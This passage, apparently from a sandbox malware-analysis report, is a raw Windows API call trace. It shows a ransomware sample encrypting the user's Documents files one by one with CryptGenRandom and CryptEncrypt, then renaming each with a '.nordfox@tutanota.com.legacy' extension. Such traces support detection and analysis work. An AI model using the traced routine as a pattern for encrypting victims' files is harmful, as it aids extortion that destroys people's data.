hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x6604 [0112.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.168] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.168] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.168] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.168] CloseHandle (hObject=0x5e8) returned 1 [0112.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0112.168] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0112.168] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\ljhJaGuyxE50n.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ljhjaguyxe50n.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\ljhJaGuyxE50n.xlsx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\ljhjaguyxe50n.xlsx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7958 | out: hHeap=0x520000) returned 1 [0112.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0112.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556cc0 | out: hHeap=0x520000) returned 1 [0112.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0112.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0112.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.172] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0112.172] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.172] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\IbRuq.docx", dwFileAttributes=0x80) returned 1 [0112.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0112.172] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563d50 [0112.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.173] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\IbRuq.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ibruq.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.173] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=58965) returned 1 [0112.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe655) returned 0x5e9bd0 [0112.173] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe655) returned 0x5f8230 [0112.173] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xe655, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xe655, lpOverlapped=0x0) returned 1 [0112.175] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-58965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.175] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f8230*, nNumberOfBytesToWrite=0xe655, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f8230*, lpNumberOfBytesWritten=0x2e1f9bc*=0xe655, lpOverlapped=0x0) returned 1 [0112.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.176] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f8230 | out: hHeap=0x520000) returned 1 [0112.177] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xe655 [0112.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.177] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.178] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.178] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.178] CloseHandle (hObject=0x5e8) returned 1 [0112.178] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0112.179] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.179] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\IbRuq.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ibruq.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\IbRuq.docx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\ibruq.docx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d50 | out: hHeap=0x520000) returned 1 [0112.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0112.238] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.238] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0112.238] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0112.238] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.238] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0112.238] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.238] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\g97pMMPlr0gQGWEvC_q.ods", dwFileAttributes=0x80) returned 1 [0112.239] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0112.239] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0112.239] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0112.239] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\g97pMMPlr0gQGWEvC_q.ods" (normalized: "c:\\users\\fd1hvy\\documents\\g97pmmplr0gqgwevc_q.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.239] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=42177) returned 1 [0112.239] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa4c1) returned 0x5e9bd0 [0112.239] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa4c1) returned 0x5f40a0 [0112.240] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0xa4c1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0xa4c1, lpOverlapped=0x0) returned 1 [0112.242] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-42177, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.242] WriteFile (in: hFile=0x5e8, lpBuffer=0x5f40a0*, nNumberOfBytesToWrite=0xa4c1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f40a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0xa4c1, lpOverlapped=0x0) returned 1 [0112.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.242] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f40a0 | out: hHeap=0x520000) returned 1 [0112.243] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xa4c1 [0112.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.243] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.244] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.244] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.245] CloseHandle (hObject=0x5e8) returned 1 [0112.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0112.245] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.245] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\g97pMMPlr0gQGWEvC_q.ods" (normalized: "c:\\users\\fd1hvy\\documents\\g97pmmplr0gqgwevc_q.ods"), lpNewFileName="\\Users\\FD1HVy\\Documents\\g97pMMPlr0gQGWEvC_q.ods.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\g97pmmplr0gqgwevc_q.ods.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0112.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0112.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5569e8 | out: hHeap=0x520000) returned 1 [0112.247] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0112.247] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c54a8 [0112.247] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0112.247] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0112.247] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0112.247] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\fSnjavPAIU1yfkyNuG.pptx", dwFileAttributes=0x80) returned 1 [0112.247] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0112.247] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9538 [0112.247] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0112.247] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\fSnjavPAIU1yfkyNuG.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fsnjavpaiu1yfkynug.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.248] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=15534) returned 1 [0112.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3cae) returned 0x5e9bd0 [0112.248] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3cae) returned 0x5ed888 [0112.249] ReadFile (in: hFile=0x5e8, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x3cae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3cae, lpOverlapped=0x0) returned 1 [0112.250] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-15534, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.250] WriteFile (in: hFile=0x5e8, lpBuffer=0x5ed888*, nNumberOfBytesToWrite=0x3cae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5ed888*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3cae, lpOverlapped=0x0) returned 1 [0112.250] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.250] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5ed888 | out: hHeap=0x520000) returned 1 [0112.250] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3cae [0112.250] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.250] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.251] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.251] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.251] CloseHandle (hObject=0x5e8) returned 1 [0112.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c54a8 | out: hHeap=0x520000) returned 1 [0112.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0112.251] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\fSnjavPAIU1yfkyNuG.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\fsnjavpaiu1yfkynug.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\fSnjavPAIU1yfkyNuG.pptx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\fsnjavpaiu1yfkynug.pptx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9538 | out: hHeap=0x520000) returned 1 [0112.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556a50 | out: hHeap=0x520000) returned 1 [0112.253] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556778 | out: hHeap=0x520000) returned 1 [0112.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0112.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0112.253] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0112.253] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0112.253] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0112.253] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\desktop.ini", dwFileAttributes=0x80) returned 1 [0112.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d240 [0112.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0112.254] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0112.254] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.254] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=402) returned 1 [0112.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x192) returned 0x582160 [0112.254] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x192) returned 0x5646a8 [0112.254] ReadFile (in: hFile=0x5e8, lpBuffer=0x582160, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x582160*, lpNumberOfBytesRead=0x2e1f9bc*=0x192, lpOverlapped=0x0) returned 1 [0112.255] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-402, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.255] WriteFile (in: hFile=0x5e8, lpBuffer=0x5646a8*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5646a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x192, lpOverlapped=0x0) returned 1 [0112.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582160 | out: hHeap=0x520000) returned 1 [0112.255] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0112.255] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x192 [0112.256] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.256] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.256] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.256] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.256] CloseHandle (hObject=0x5e8) returned 1 [0112.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0112.256] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0112.256] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Documents\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563df8 | out: hHeap=0x520000) returned 1 [0112.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0112.259] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0112.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0112.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0112.259] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0112.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0112.259] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0112.259] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\Database1.accdb", dwFileAttributes=0x80) returned 1 [0112.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0112.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7fd0 [0112.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.260] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e8 [0112.260] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=348160) returned 1 [0112.260] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x55000) returned 0x2f40050 [0112.261] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x55000) returned 0x2e20fd8 [0112.262] ReadFile (in: hFile=0x5e8, lpBuffer=0x2f40050, nNumberOfBytesToRead=0x55000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesRead=0x2e1f9bc*=0x55000, lpOverlapped=0x0) returned 1 [0112.301] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=-348160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.302] WriteFile (in: hFile=0x5e8, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x55000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x55000, lpOverlapped=0x0) returned 1 [0112.303] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0112.306] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0112.306] SetFilePointer (in: hFile=0x5e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x55000 [0112.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.306] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.310] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.310] WriteFile (in: hFile=0x5e8, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.310] CloseHandle (hObject=0x5e8) returned 1 [0112.310] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0112.311] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0112.311] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\Database1.accdb" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb"), lpNewFileName="\\Users\\FD1HVy\\Documents\\Database1.accdb.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\documents\\database1.accdb.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7fd0 | out: hHeap=0x520000) returned 1 [0112.322] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.322] HeapFree (in: 